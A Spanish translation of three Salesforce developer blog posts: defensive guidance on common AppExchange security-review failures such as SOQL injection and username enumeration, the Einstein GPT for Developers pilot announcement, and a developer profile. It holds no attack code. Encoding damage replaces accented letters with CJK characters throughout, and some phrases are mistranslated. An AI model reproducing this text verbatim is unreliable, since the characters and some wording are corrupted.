Muchos paquetes administrados por Salesforce no pasan la revisi贸n de seguridad por no almacenar JavaScript como recursos est谩ticos en sus paquetes y, en su lugar, se vinculan a archivos JavaScript alojados externamente con etiquetas <script> . La raz贸n principal de esta regla es que permite un control de versiones mucho m谩s seguro y garantiza la integridad de los archivos JavaScript en su paquete de Salesforce incluso si la fuente externa est谩 comprometida.

驴C贸mo puedo abordar esto?

Nuestra regla es que todos los recursos de script y estilo deben agregarse al paquete como recursos est谩ticos y luego cargarse con una etiqueta <apex:includeScript> en su p谩gina (para Visualforce) o un ltng:require en su .cmp o .app. marcado (para Aura).

Nota: Si tiene un LWC, defina los m贸dulos JavaScript que importe a su componente o use la funci贸n loadScript para cargar un archivo JavaScript de recursos est谩ticos.

Para paquetes que no son LWC, la mejor manera de verificar este problema es buscar manualmente su c贸digo fuente para asegurarse de que todas las bibliotecas de JavaScript est茅n almacenadas como recursos est谩ticos, no cargadas din谩micamente a trav茅s de hiperv铆nculos.

Para situaciones en las que esto no sea factible, recomendamos programar una cita en horario de oficina t茅cnica para analizar su caso de uso. Es posible obtener una excepci贸n en ciertos casos.

Obtenga m谩s informaci贸n sobre este problema en nuestra documentaci贸n para desarrolladores .

#10 鈥 Inyecci贸n SOQL

驴Qu茅 es esto?

La inyecci贸n SOQL es la versi贸n espec铆fica de Salesforce de la inyecci贸n SQL. Ocurre cuando una entrada no validada proporcionada por el usuario se inserta directamente en una consulta SOQL din谩mica. Si la entrada no est谩 validada, puede incluir comandos SOQL que modifican efectivamente la declaraci贸n SOQL y enga帽an a la aplicaci贸n para que ejecute comandos no deseados.

驴C贸mo puedo abordar esto?

La forma m谩s sencilla de evitar el problema es evitar consultas din谩micas en favor de consultas est谩ticas y utilizar variables vinculantes. De lo contrario, deber谩 validar estrictamente las entradas del usuario antes de usarlas en consultas mediante t茅cnicas como encasillamiento, lista blanca de entradas o escape.

Code Analyzer , PMD para VS Code y Checkmarx tambi茅n pueden ayudarlo a escanear su c贸digo.

Para obtener m谩s informaci贸n, consulte nuestro m贸dulo Trailhead o revise nuestra documentaci贸n para desarrolladores .

Para aplicaciones que no son de Salesforce, es posible que desee obtener m谩s informaci贸n sobre la inyecci贸n SQL en la gu铆a OWASP . Los esc谩neres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , tambi茅n pueden ayudar a identificar problemas de inyecci贸n SQL.

#11 鈥 Lightning: carga CSS inadecuada

驴Qu茅 es esto?

Similar al problema de usar etiquetas <script> o <link> para cargar JavaScript en sus paquetes, usar etiquetas <link> o <style> para cargar CSS en lugar de <apex:stylesheet> (Visualforce) o <ltng:require> ( Aura) se considera una pr谩ctica insegura. Estas etiquetas <link> y <style> pueden hacer referencia a recursos externos o en l铆nea que contienen CSS o JavaScript, y la arquitectura de seguridad Lightning Web Security (LWS) de Salesforce no los controla ni los desinfecta.

Para los componentes de Aura, en particular, el uso de <ltng:require> tambi茅n permite a Salesforce aplicar correctamente las reglas de seguridad LWS y garantizar que el CSS que est谩 cargando est茅 correctamente aislado y no incluya c贸digo o estilos JavaScript no seguros que puedan afectar negativamente a otros. partes de su aplicaci贸n Salesforce.

驴C贸mo puedo abordar esto?

Para hacer referencia a un recurso CSS externo que haya subido como recurso est谩tico, use una etiqueta <apex:stylesheet> en su p谩gina (para Visualforce) o una etiqueta <ltng:require> en su marcado .cmp o .app (para Aura ). Busque el c贸digo fuente de su paquete para asegurarse de que no haya utilizado etiquetas <link> o <style> en ning煤n lugar para cargar recursos CSS.

Nota: Si tiene una LWC, no puede encontrarse con este problema de todos modos porque, al igual que las etiquetas <script> , las etiquetas <style> ya est谩n bloqueadas para su uso dentro de las plantillas HTML. En su lugar, incluir铆a su CSS en el archivo CSS asociado de su componente o usar铆a la funci贸n loadStyle para cargar un archivo CSS de recursos est谩ticos.

Puede encontrar m谩s informaci贸n en nuestra documentaci贸n para desarrolladores .

#12: JavaScript en Salesforce DOM (solo experiencia cl谩sica)

驴Qu茅 es esto?

Salesforce tiene reglas estrictas sobre el uso de JavaScript y una de esas reglas es que JavaScript no se puede ejecutar directamente dentro del contexto de la aplicaci贸n Salesforce. Esto significa que no puede incluir bloques de JavaScript directamente dentro de los componentes que se ejecutan en Salesforce DOM, como HomePageComponents, WebLinks, Custom Buttons, etc.

En cambio, todo JavaScript debe residir bajo el dominio de espacio de nombres de su aplicaci贸n en las p谩ginas de Visualforce que usted controla, de modo que el JavaScript personalizado est茅 esencialmente aislado del DOM principal de Salesforce. Eso significa que no puede usar JavaScript para crear botones personalizados, pesta帽as web, componentes de p谩gina de inicio y elementos similares (por ejemplo, incluir controladores de eventos de JavaScript onclick en botones personalizados podr铆a ser motivo de falla).

驴C贸mo puedo abordar esto?

Esto es algo que deber谩 verificar manualmente en el c贸digo fuente de su paquete Salesforce. Verifique y aseg煤rese de que no haya utilizado JavaScript para crear botones personalizados, pesta帽as web, componentes de la p谩gina de inicio u otros elementos similares, y verifique que cualquier JavaScript personalizado est茅 incluido solo en el dominio de su aplicaci贸n con espacio de nombres en las p谩ginas de VisualForce que controla como parte de su aplicaci贸n.

Una forma de verificar esto es buscar el texto <openType>onClickJavaScript</openType> en los archivos de metadatos de la aplicaci贸n (a menudo en archivos XML como weblink/something.weblink) y, si lo encuentra, aseg煤rese de eliminarlo. Incluso si su aplicaci贸n solo est谩 destinada a usarse en Lightning Experience, si la vulnerabilidad est谩 presente para los usuarios en modo Cl谩sico, el paquete no se puede aprobar.

Esta regla en particular no est谩 especialmente bien documentada, pero puede leer m谩s en el documento Lista de verificaci贸n de revisi贸n de seguridad de AppExchange (se requiere iniciar sesi贸n en la comunidad de socios).

#13 鈥 Divulgaci贸n de informaci贸n en p谩ginas de error y excepciones

驴Qu茅 es esto?

En el contexto de la revisi贸n de seguridad de AppExchange, este t茅rmino se refiere espec铆ficamente a situaciones (generalmente en aplicaciones o servicios web que no son de Salesforce o fuera de plataforma) donde sus p谩ginas de error muestran datos confidenciales del sistema o informaci贸n de depuraci贸n. Por ejemplo, a veces las p谩ginas de error incluyen seguimientos de pila completos que muestran c贸mo se hace referencia internamente a los objetos o rutas de archivo relativas al lugar donde est谩 instalada la aplicaci贸n. A veces, incluso la informaci贸n confidencial queda expuesta de esta manera.

驴C贸mo puedo abordar esto?

Busque en su base de c贸digo llamadas que causen excepciones o que los seguimientos de pila se representen en cadenas o flujos de salida, y realice pruebas que puedan causar errores, como entradas no v谩lidas, entradas vac铆as, entradas demasiado largas, acceso a p谩ginas internas sin autenticaci贸n, omisi贸n de aplicaciones. flujo, etc

La herramienta de fuzzing de Burp Suite puede ser una gran ayuda en este caso.

Tambi茅n puede obtener excelentes consejos para realizar pruebas de seguimiento de pila a trav茅s de esta gu铆a de OWASP .

#14 鈥 Componentes de Aura: componente externo de CSS

驴Qu茅 es esto?

Se supone que los componentes de Aura son peque帽os, aut贸nomos, reutilizables y reposicionables. CSS que evita la encapsulaci贸n de componentes (a trav茅s de .THIS) o que utiliza un posicionamiento no est谩ndar (por ejemplo, flotante o posici贸n: absoluta o fija) infringe estas garant铆as y puede interferir con la visualizaci贸n de otros componentes. En particular, el uso del posicionamiento absoluto en CSS es la raz贸n principal de este tipo de falla.

Si bien esto puede no parecer un problema de seguridad a primera vista, puede alterar el dise帽o del sitio web de Salesforce y viola el esp铆ritu del modelo de seguridad de Lightning, donde los componentes est谩n estrictamente aislados y se garantiza que permanecer谩n en su propio carril.

驴C贸mo puedo abordar esto?

Este es otro problema que debes verificar manualmente. B谩sicamente, busque en el CSS de su componente Aura, especialmente para posicionamiento absoluto/fijo o ancho y alto fijos. Tambi茅n recomendamos revisar nuestra documentaci贸n para asegurarse de que est谩 siguiendo todas las reglas CSS correctas.

#15 鈥 Canal de mensajes expuesto

驴Qu茅 es esto?

Este t茅rmino se refiere espec铆ficamente a los casos en los que no ha configurado el indicador isExposed en Lightning Message Channel en falso. Dado que esto proporciona acceso a la API del Servicio de mensajes Lightning (LMS), que le permite publicar y suscribirse a mensajes en todo el DOM y entre Aura, Visualforce y Lightning Web Components, debe establecerse en falso a menos que sea realmente necesario.

驴C贸mo puedo abordar esto?

Tiene dos opciones, seg煤n su caso de uso, que incluyen:

  1. Registre un ticket de soporte para solicitar que se habilite la eliminaci贸n de componentes administrados para su paquete u organizaci贸n de Dev Hub y elimine el componente del paquete. Si no puede hacerlo (por ejemplo, si esto afectar铆a la funcionalidad de los suscriptores que dependen de canales de mensajes expuestos), puede dejar el componente en el paquete y simplemente no usarlo (aseg煤rese de mencionar esto espec铆ficamente en un mensaje falso). documento positivo sobre su presentaci贸n).
  2. Si tiene que utilizar un componente de canal LMS, aseg煤rese de tener isExposed=false . Esto debe hacerse creando un nuevo componente de canal LMS porque los componentes existentes con isExposed=true no pueden cambiar isExposed=false . Utilice 煤nicamente el componente reci茅n creado en el c贸digo.

M谩s informaci贸n est谩 disponible en la documentaci贸n .

#16 鈥 Informaci贸n confidencial en URL

驴Qu茅 es esto?

Esto se refiere a una situaci贸n en la que se env铆a informaci贸n confidencial de larga duraci贸n en URL (por ejemplo, un ID o secreto de cliente, o un nombre de usuario/contrase帽a). En realidad, esto puede llevar a que se filtren secretos a largo plazo de varias maneras posibles. Por ejemplo:

  • Las URL completas a menudo se almacenan en servidores en registros de texto sin cifrar que pueden no almacenarse de forma segura y pueden ser vistos por el personal o comprometidos por un tercero.
  • Los motores de b煤squeda indexan URL y almacenan inadvertidamente informaci贸n confidencial
  • Almacenamiento de rutas URL completas en el historial del navegador local, cach茅 del navegador, marcadores y marcadores sincronizados entre dispositivos
  • Informaci贸n de URL enviada a aplicaciones web de terceros a trav茅s del encabezado de referencia o expuesta a scripts de terceros en la p谩gina

驴C贸mo puedo abordar esto?

Burp Suite puede ayudarle aqu铆 para aplicaciones web que no sean de Salesforce o fuera de plataforma, pero en general recomendamos comprobar manualmente su aplicaci贸n para detectar cualquier caso en el que se env铆en secretos a largo plazo a trav茅s de URL. Dependiendo de su caso de uso, es posible que deba realizar cambios, como usar solicitudes POST en lugar de solicitudes GET, cambiar su m茅todo de autenticaci贸n (OAuth 2.0 es generalmente ideal) y emplear cifrado y mejores m茅todos de almacenamiento de secretos.

La gu铆a OWASP es un gran recurso a seguir.

#17 鈥 Punto final inseguro

驴Qu茅 es esto?

El nombre de esta vulnerabilidad simplemente se refiere a situaciones en las que se utiliza HTTP en lugar de HTTPS.

驴C贸mo puedo abordar esto?

Las herramientas de escaneo pueden ser de ayuda, pero una forma a煤n m谩s segura de verificar esto es buscar en el c贸digo fuente enlaces HTTP y cambiarlos a HTTPS. Puede aprender un poco m谩s sobre c贸mo esto mejora la seguridad en esta p谩gina de OWASP .

#18 鈥 Enumeraci贸n de nombre de usuario o correo electr贸nico

驴Qu茅 es esto?

Por lo general, este problema solo surge en aplicaciones web externas fuera de la plataforma Salesforce. Se refiere a una situaci贸n en la que los atacantes pueden enumerar listas de nombres de usuario o correos electr贸nicos de su base de usuarios, generalmente analizando cambios en mensajes de error en funciones de inicio de sesi贸n, funciones de olvido de contrase帽a o registros de cuentas. Los atacantes suelen hacer esto para poder comprobar si hay contrase帽as reutilizadas de bases de datos comprometidas y fugas o volcados de contrase帽as.

驴C贸mo puedo abordar esto?

Verifique sus mensajes de error para registros de cuentas, recuperaci贸n de contrase帽as, intentos de inicio de sesi贸n, etc., y aseg煤rese de que su mensaje de error sea el mismo independientemente de si el nombre de usuario o el correo electr贸nico ingresado es v谩lido.

Por ejemplo, muchos sitios incluyen un mensaje gen茅rico, como: "Si dicho usuario existe, recibir谩 un correo electr贸nico con un restablecimiento de contrase帽a". Este tipo de mensaje general evita confirmar la existencia de un nombre de usuario o correo electr贸nico.

Por supuesto, en determinadas situaciones, puede ser inevitable (por ejemplo, durante el registro de una cuenta, es posible que deba confirmar que se ha utilizado un nombre de usuario). En esas situaciones, intente implementar controles que impidan la enumeraci贸n por fuerza bruta, como captchas para evitar que los robots eliminen su formulario de registro.

Burp Suite es una excelente herramienta para verificar esto, pero si no la tiene, tambi茅n puede revisar sus funcionalidades de inicio de sesi贸n manualmente.

OWASP tiene una gu铆a 煤til para evitar la enumeraci贸n de correos electr贸nicos y nombres de usuarios.

#19 鈥 Gesti贸n de contrase帽as

驴Qu茅 es esto?

En ocasiones, el equipo de seguridad falla en sitios y aplicaciones web externos (que no sean Salesforce) por tener pol铆ticas de contrase帽as problem谩ticas, como por ejemplo:

  • Permitir la reutilizaci贸n de la misma contrase帽a cuando es necesario restablecerla
  • No solicitar la contrase帽a anterior cuando se permite a los usuarios establecer una nueva contrase帽a
  • Para restablecer la contrase帽a, enviar una contrase帽a temporal al correo electr贸nico de un usuario en texto sin formato
  • Dejar contrase帽as predeterminadas en los usuarios ra铆z del servidor o de la base de datos

驴C贸mo puedo abordar esto?

Adem谩s de evitar las situaciones anteriores, consulte la Hoja de referencia de autenticaci贸n de OWASP para obtener algunas pautas sobre c贸mo establecer pol铆ticas de contrase帽as seguras:

Burp Suite tambi茅n es muy 煤til para identificar problemas relacionados con las contrase帽as (por ejemplo, puede usarlo para intentar forzar sus p谩ginas de inicio de sesi贸n).

#20 鈥 Eco de contrase帽a

驴Qu茅 es esto?

Esto es un poco diferente del problema de administraci贸n de contrase帽as descrito anteriormente. Un eco de contrase帽a se refiere a situaciones en las que las contrase帽as se reflejan en texto sin formato en la interfaz de usuario (como cuando el usuario visita su propia p谩gina de configuraci贸n) o en llamadas API/respuestas JSON.

驴C贸mo puedo abordar esto?

Aseg煤rese de que su contrase帽a no se revele ni se transmita en texto sin formato en ninguna parte de su aplicaci贸n. Aseg煤rese de que en las p谩ginas de configuraci贸n u otras p谩ginas que muestran secretos, se muestren solo como asteriscos (se pueden mostrar al hacer clic en el bot贸n si es necesario).

Consulte la hoja de referencia sobre almacenamiento de contrase帽as de OWASP para obtener m谩s informaci贸n.

Burp Suite , o quiz谩s Chimera u OWASP ZAP , tambi茅n pueden ayudarle a detectar estos problemas.

Recursos adicionales

Si su soluci贸n incluye sitios web o aplicaciones web personalizados que no son de Salesforce, le recomendamos encarecidamente invertir en una licencia de Burp Suite si es financieramente viable para su organizaci贸n. Burp Suite es una de las mejores herramientas de seguridad del mercado y tambi茅n la utiliza mucho nuestro propio equipo de seguridad de productos. Chimera u OWASP ZAP son alternativas completamente gratuitas, pero prep谩rate para invertir m谩s tiempo en t茅rminos de revisi贸n manual, ya que carecen de muchas de las potentes funciones/herramientas que tiene Burp Suite.

Nota: Si su oferta se integra con aplicaciones o servicios web que no son de su propiedad, no intente escanear los puntos finales hasta que haya obtenido el permiso del propietario.

Salesforce Product Security tambi茅n utiliza Code Analyzer , PMD para VS Code y Checkmarx para revisar el c贸digo fuente del paquete Salesforce. Tambi茅n utilizan la base de datos CVE y el esc谩ner Qualys SSL en la mayor铆a de los env铆os.

Si tiene problemas de seguridad y necesita orientaci贸n t茅cnica, los socios ISV pueden registrarse para obtener horas de oficina gratuitas con nuestros ingenieros de seguridad a trav茅s del Portal de seguridad para socios .

Por 煤ltimo, no podemos recomendar lo suficiente Trailhead en t茅rminos de preparaci贸n para revisiones de seguridad. Vale la pena dedicar tiempo a la ruta Desarrollar aplicaciones web seguras y tambi茅n acabamos de renovar el m贸dulo Revisi贸n de seguridad de AppExchange , que analiza el proceso de env铆o de un extremo a otro.

Sobre el Autor

Anika Teppo es evangelista t茅cnica en Salesforce. Ha estado trabajando con el equipo de revisi贸n de seguridad de AppExchange en Salesforce desde 2017, y su funci贸n actual consiste en hacer que Salesforce Labs y las soluciones internas se revisen y publiquen en AppExchange.

Obtenga las 煤ltimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a trav茅s de Slack o RSS.

A帽adir a holgura Suscr铆bete a RSS

Continue reading

Einstein GPT para desarrolladores: ahora en versi贸n piloto 鈽侊笍

Einstein GPT para desarrolladores: ahora en versi贸n piloto 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Einstein GPT para desarrolladores: ahora en fase piloto | Blog de desarrolladores de Salesforce

La IA generativa es una tecnolog铆a transformadora que aumenta la productividad de los desarrolladores, acelera el desarrollo de aplicaciones de software y reduce la barrera para que cualquiera aprenda a programar. En el TrailblazerDX de este a帽o, anunciamos Einstein GPT para desarrolladores , la soluci贸n de inteligencia artificial generativa de Salesforce que libera la productividad de los desarrolladores y les permite desarrollar Salesforce m谩s r谩pido . Hoy, estamos encantados de anunciar que Einstein GPT para desarrolladores ahora est谩 en piloto cerrado.

Creado espec铆ficamente para lenguajes y marcos de Salesforce, Einstein GPT para desarrolladores puede generar c贸digo Apex utilizando lenguaje natural. El soporte para LWC llegar谩 pronto. Nuestro objetivo es que est茅 disponible en Beta abierta en Dreamforce 23 , para que todos puedan tener acceso a la herramienta. En este blog, exploraremos c贸mo comenzar con Einstein GPT para el desarrollo de Apex y c贸mo su potencial puede revolucionar su proceso de desarrollo.

Einstein GPT para desarrolladores frente a otras herramientas de codificaci贸n de IA

Las herramientas de codificaci贸n de IA generativa disponibles en la actualidad se entrenan principalmente en lenguajes p煤blicos, como Java, Python y otros, as铆 como en c贸digo disponible p煤blicamente. Dado que los lenguajes espec铆ficos de Salesforce, como Apex y LWC, son propietarios, estas herramientas a menudo carecen de la capacitaci贸n necesaria para brindar recomendaciones precisas.

Adem谩s, las herramientas de codificaci贸n de IA son tan poderosas como el contexto que se les proporciona. Dado que estas herramientas de codificaci贸n p煤blicas carecen del contexto de Salesforce de su organizaci贸n, como los metadatos, las recomendaciones pueden ser inexactas o insuficientes para satisfacer sus necesidades. Por 煤ltimo, el uso de herramientas de inteligencia artificial disponibles p煤blicamente expone su c贸digo privado m谩s all谩 del l铆mite de confianza de Salesforce y podr铆a hacerlo p煤blico, una posible vulnerabilidad de seguridad.

Con Einstein GPT para desarrolladores, utilizamos CodeGen , nuestro propio modelo de c贸digo abierto para la s铆ntesis de programas. Hospedamos CodeGen dentro del l铆mite de confianza de Salesforce y lo hemos capacitado en lenguajes espec铆ficos de Salesforce como Apex y LWC. Con una base din谩mica incorporada al proceso de generaci贸n de c贸digo, Einstein GPT enriquece sus recomendaciones utilizando sus metadatos y c贸digo. Nuestra capa de confianza de IA dentro de Einstein GPT garantiza que sus datos y c贸digo permanezcan seguros dentro de Salesforce y nunca se almacenen externamente.

Comience con Einstein GPT para desarrolladores

Einstein GPT para desarrolladores se encuentra actualmente en una fase piloto cerrada. Nuestro plan es que est茅 disponible en Open Beta para Dreamforce 2023. Una vez que su organizaci贸n est茅 habilitada para esta herramienta, puede instalar la extensi贸n Einstein GPT en su VS Code Desktop usando un archivo VSIX compartido. Einstein GPT tambi茅n estar谩 disponible en Code Builder , nuestro IDE basado en web, que se espera que est茅 disponible de forma general en octubre. 隆Est茅n atentos a las actualizaciones!

Para utilizar la herramienta Einstein GPT para desarrolladores de forma eficaz:

  1. Abra su VS Code, vaya a Archivo > Abrir carpeta en el men煤 y abra un proyecto de Salesforce DX existente o configure un nuevo proyecto.
  2. Para trabajar con Einstein GPT para desarrolladores, ejecute el comando SFDX: Autorizar una organizaci贸n para conectarse a una organizaci贸n sandbox o a una organizaci贸n borrador de Salesforce. Podr谩 utilizar Einstein GPT para desarrolladores dentro de este entorno.

Si est谩 utilizando organizaciones borrador, active Einstein GPT para desarrolladores habilitando la funci贸n adicional de organizaci贸n borrador. Simplemente edite y guarde el archivo config/project-scratch-def.json en su proyecto DX y agregue la funci贸n EinsteinGPTForDevelopers a su lista de funciones existente.

Por ejemplo:

Finalmente, puede comenzar a generar c贸digo Apex escribiendo un mensaje mediante el comando Paleta de comandos: SFDX: generar c贸digo con Einstein GPT (ver captura de pantalla a continuaci贸n) . Tenga en cuenta que debe estar dentro de un archivo Apex ( .cls ) para que aparezca el comando.

A continuaci贸n se muestra un mensaje de ejemplo:

Quiero crear una clase de Apex. Llam茅moslo OpportunityQuerySelector. Cree un m茅todo llamado getSumOfOpportunityRecords que recupere la cantidad de registros de oportunidades vinculados a un registro de cuenta espec铆fico. El m茅todo debe aceptar accountId como par谩metro. Siga las mejores pr谩cticas de seguridad y aseg煤rese de que el c贸digo se ejecute en el modo de usuario.

Y luego el resultado se muestra a continuaci贸n.

Si bien el c贸digo generado anteriormente no requiri贸 muchas ediciones, es posible que necesite personalizar la salida generada por Einstein GPT seg煤n sus necesidades durante el desarrollo. El panel Einstein GPT: Historial y comentarios dentro del IDE le permite compartir comentarios sobre el resultado generado. 隆Estos comentarios son imprescindibles para ayudarnos a capacitar a nuestro LLM y mejorar su resultado! Estamos emocionados de escuchar sus comentarios.

Transformando el proceso de desarrollo

Reci茅n estamos comenzando con la IA generativa para transformar su flujo de trabajo de desarrollo. Mira lo que viene pronto:

  • Compatibilidad con Lightning Web Component (LWC): genere c贸digo LWC basado en el procesamiento del lenguaje natural (NLP)
  • Finalizaci贸n predictiva de c贸digo en l铆nea: complete autom谩ticamente la siguiente l铆nea de c贸digo sugerida con metadatos contextuales del proyecto.
  • Verificaci贸n del rendimiento del c贸digo: escanee el c贸digo Apex y corrija errores de tiempo de ejecuci贸n durante el proceso de desarrollo
  • Asistencia conversacional: P铆dale a Einstein que genere c贸digo contextual y documentaci贸n, explique el c贸digo o resuelva problemas complejos.

Conclusi贸n

A medida que Einstein GPT para desarrolladores ampl铆e sus capacidades para admitir LWC, proporcionar finalizaci贸n de c贸digo inteligente y brindar asistencia conversacional, podr谩 desarrollar la plataforma Salesforce m谩s r谩pido que nunca. Nuestro objetivo es que est茅 disponible en Beta abierta en Dreamforce 2023 , para que todos puedan tener acceso a la herramienta. 隆脷nase a nosotros en Dreamforce '23 para jugar y profundizar en Einstein GPT para desarrolladores!

Recursos adicionales

Sobre el Autor

Mohith Shrivastava es desarrollador defensor en Salesforce con una d茅cada de experiencia en la creaci贸n de productos a escala empresarial en la plataforma Salesforce. Mohith se encuentra actualmente entre los principales contribuyentes de Salesforce Stack Exchange, un foro de desarrolladores donde los desarrolladores de Salesforce pueden hacer preguntas y compartir conocimientos. Puedes seguirlo a trav茅s de LinkedIn .

Obtenga las 煤ltimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a trav茅s de Slack o RSS.

A帽adir a holgura Suscr铆bete a RSS

Continue reading

Oleh Mykytyn encuentra su prop贸sito como desarrollador de Salesforce 鈽侊笍

Oleh Mykytyn encuentra su prop贸sito como desarrollador de Salesforce 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Oleh Mykytyn encuentra su prop贸sito como desarrollador de Salesforce | Blog de desarrolladores de Salesforce

El desarrollador de Salesforce, Oleh Mykytyn , comenz贸 su viaje con Salesforce en 2015 cuando su hermano, Nazar, tambi茅n desarrollador de Salesforce, recomend贸 probar Salesforce a trav茅s de la plataforma de aprendizaje Trailhead . Trailhead es la puerta de entrada al ecosistema de Salesforce, donde cualquiera puede aprender de forma gratuita las habilidades m谩s demandadas y relevantes de la actualidad, obtener credenciales dignas de un curr铆culum y conectarse a oportunidades globales. Cuando Oleh se enter贸 de que pod铆a obtener una sudadera con capucha Trailblazer por completar cinco insignias Trailhead, se propuso ese objetivo.

Bueno, Oleh consigui贸 esa sudadera con capucha y ha sido desarrollador de Salesforce desde entonces. Despu茅s de ese logro inicial, Oleh pas贸 a completar insignia tras insignia, desarrollando sus habilidades en Salesforce hasta el punto en que actualmente registra 148 insignias y cuatro superbadges. Sus favoritos incluyen Apex Specialist y Advanced Apex Specialist .

Pero Oleh tambi茅n ha llevado las habilidades aprendidas al lugar de trabajo y hoy es el Jefe de Atenci贸n al Cliente en Redtag. En este cargo, habla en conferencias internacionales en todo el mundo, escribe art铆culos y aparece como invitado en podcasts. Oleh ahora es reconocido como un pilar de la comunidad Trailblazer , una red global y diversa de 18 millones de estudiantes que adquieren habilidades y se apoyan unos a otros. En el pasado, Oleh no cre铆a que pudiera lograr tales cosas, pero ahora conf铆a en que puede lograr el 茅xito profesional con trabajo duro, pasi贸n y un proceso paso a paso.

Oleh presenta en la conferencia comunitaria de Salesforce Czech Dreamin'

Qu茅 significa ser un desarrollador de Salesforce

"Ser desarrollador de Salesforce significa estar preparado para los desaf铆os", dice Oleh. 鈥淪iempre hay que pensar en grande y utilizar el pensamiento cr铆tico. Un desarrollador es una 'part铆cula' poderosa que impulsa la evoluci贸n del mundo y trae cosas incre铆bles a nuestras vidas para hacerlas m谩s simples y agradables. Nuestro valor es desarrollar experiencias de Salesforce y hacer felices a todos nuestros clientes鈥.

Ser desarrollador de Salesforce significa estar preparado para los desaf铆os.

Varias personas apoyaron a Oleh en el camino, como su novia, sus padres, su hermano y sus compa帽eros de equipo, y lo ayudaron a llegar a donde se encuentra ahora en su carrera. Recuerda: 鈥淩ecuerdo haber reprobado un examen o haber tenido desaf铆os en un proyecto, y siempre me dec铆an: 'La pr贸xima vez lo conseguir谩s'. 隆Y eso siempre pas贸!鈥

A Oleh siempre le entusiasma ver c贸mo Salesforce nunca deja de crecer e innovar, brindando nuevas y mejores experiencias a los desarrolladores y usuarios finales. "Me inspira ver c贸mo Salesforce valora y escucha a la comunidad", afirma. Una vez invitaron a Oleh a almorzar con el director ejecutivo de Salesforce, Marc Benioff, y qued贸 sorprendido por lo atento que estaba Marc a cada palabra, as铆 como por c贸mo consideraba cada comentario de Oleh.

Oleh y el director ejecutivo de Salesforce, Marc Benioff

Algunas sorpresas en el viaje de Salesforce

Al comienzo de su trayectoria en Salesforce, Oleh descubri贸 a Jim Rohn, un autor y orador motivacional estadounidense, que ayud贸 a Oleh a cambiar su forma de pensar. Recordar谩 una cita particular de Rohn por el resto de su vida: 鈥淣o desear铆a que fuera m谩s f谩cil; Ojal谩 estuvieras mejor鈥.

Con este esp铆ritu, Oleh siempre ha aprendido haciendo e investigando constantemente lo que se necesita. Aprender a hacer las preguntas correctas viene con la experiencia y la pr谩ctica. Una de las formas en que Oleh busca mejorar su marca personal es obteniendo certificaciones de Salesforce .

Oleh tras aprobar su primer examen de certificaci贸n de Salesforce

Actualmente, Oleh ha obtenido 11 certificaciones y aspira a aprobar una o dos certificaciones m谩s cada a帽o. Esto le permite seguir desafi谩ndose a s铆 mismo mientras adquiere nuevas y valiosas habilidades. Curiosamente, Oleh suspendi贸 su primera certificaci贸n, 鈥淎pp Builder鈥, dos veces y consider贸 brevemente que el desarrollo de TI no era para 茅l. Pero luego se dio cuenta de que hab铆a subestimado el examen y necesitaba prepararse m谩s de antemano.

Entonces, primero, Oleh analiz贸 la secci贸n en la que hab铆a suspendido con los porcentajes de cobertura m谩s bajos. Luego, utiliz贸 preguntas simuladas de tal manera que pudiera ejecutar completamente las tareas en su patio de juegos, lo que le dio una mejor comprensi贸n de la funcionalidad y le ayud贸 a recordarla mejor que simplemente leer sobre ella.

脡l dice: 鈥淢e inscrib铆 nuevamente para el examen, pero no se lo dije a nadie (para que nadie se enterara si reprobaba una tercera vez). Pero esta vez pas茅 y fue uno de los mejores d铆as de mi vida. Despu茅s de eso, obtuve una certificaci贸n tras otra y ahora s茅 definitivamente que el fracaso es la clave del 茅xito鈥.

Lecciones aprendidas de la comunidad Trailblazer

Oleh se involucr贸 profundamente en la comunidad Trailblazer de desarrolladores de Salesforce y aprendi贸 muchas lecciones a lo largo del camino. Dice: 鈥淎prend铆 que la marca personal a veces es crucial y, en combinaci贸n con las habilidades t茅cnicas, esto es… 隆BOOM! Realmente creo que los desarrolladores m谩s fuertes son las personas que tienen habilidades interpersonales muy bien desarrolladas鈥. Oleh explica que debe gran parte de su 茅xito a la buena comunicaci贸n, la empat铆a, la generaci贸n de confianza y el deseo de ser una buena persona en el mundo. Adem谩s, estas habilidades le han ayudado a formar conexiones profundas con las personas que le rodean.

Aprend铆 que la marca personal a veces es crucial y, en combinaci贸n con las habilidades t茅cnicas, esto es: 隆BOOM!

Las habilidades interpersonales y una actitud positiva tambi茅n son una alta prioridad para el equipo de Oleh. Creen que aquellos que est谩n dispuestos, son apasionados y buenos para establecer conexiones siempre encuentran la manera de adquirir las habilidades tecnol贸gicas necesarias. 鈥淢enos miedo y m谩s aportaciones鈥, afirma. "Todo es posible en esta vida, y la vida es demasiado corta para rechazar tus sue帽os por miedo".

Consejos para otros desarrolladores: los foros de desarrolladores son tus mejores amigos

"La comunidad Trailblazer es su familia", explica Oleh. "Aprende todo lo que puedas y devu茅lvelo cuando est茅s listo". En 2016, un buen amigo de los Pa铆ses Bajos le habl贸 de la existencia de los grupos comunitarios Trailblazer e inmediatamente supo que le gustar铆a llevarlos a los desarrolladores de Lviv .

La comunidad Trailblazer es su familia.

Oleh recuerda: "Cuando comenz贸 el grupo de Lviv, tom茅 la iniciativa de liderar el grupo y luego comenc茅 a conocer todos los eventos para desarrolladores de Salesforce". Esto llev贸 a Oleh a asistir a eventos dirigidos por Salesforce como Dreamforce y eventos Dreamin' dirigidos por la comunidad , e incluso fund贸 Salesforce Saturday en Lviv, una reuni贸n en persona de la comunidad Trailblazer que gana insignias juntos. Ahora, Oleh une y apoya a la comunidad de desarrolladores ucraniana mediante la creaci贸n de canales de Slack y transmisi贸n de YouTube a otras ciudades antes de los eventos virtuales.

El grupo de desarrolladores de Salesforce en Lviv

" Como equipo en Redtag, siempre nos apasiona desarrollar talentos e invitar a nuevos pioneros", dice Oleh. 鈥淓sto ayuda a hacer crecer nuestra familia Trailblazer Community. 隆La mejor manera de mantenerse conectado con la comunidad de desarrolladores de Salesforce es uni茅ndose a un foro, redes sociales y, por supuesto, eventos!

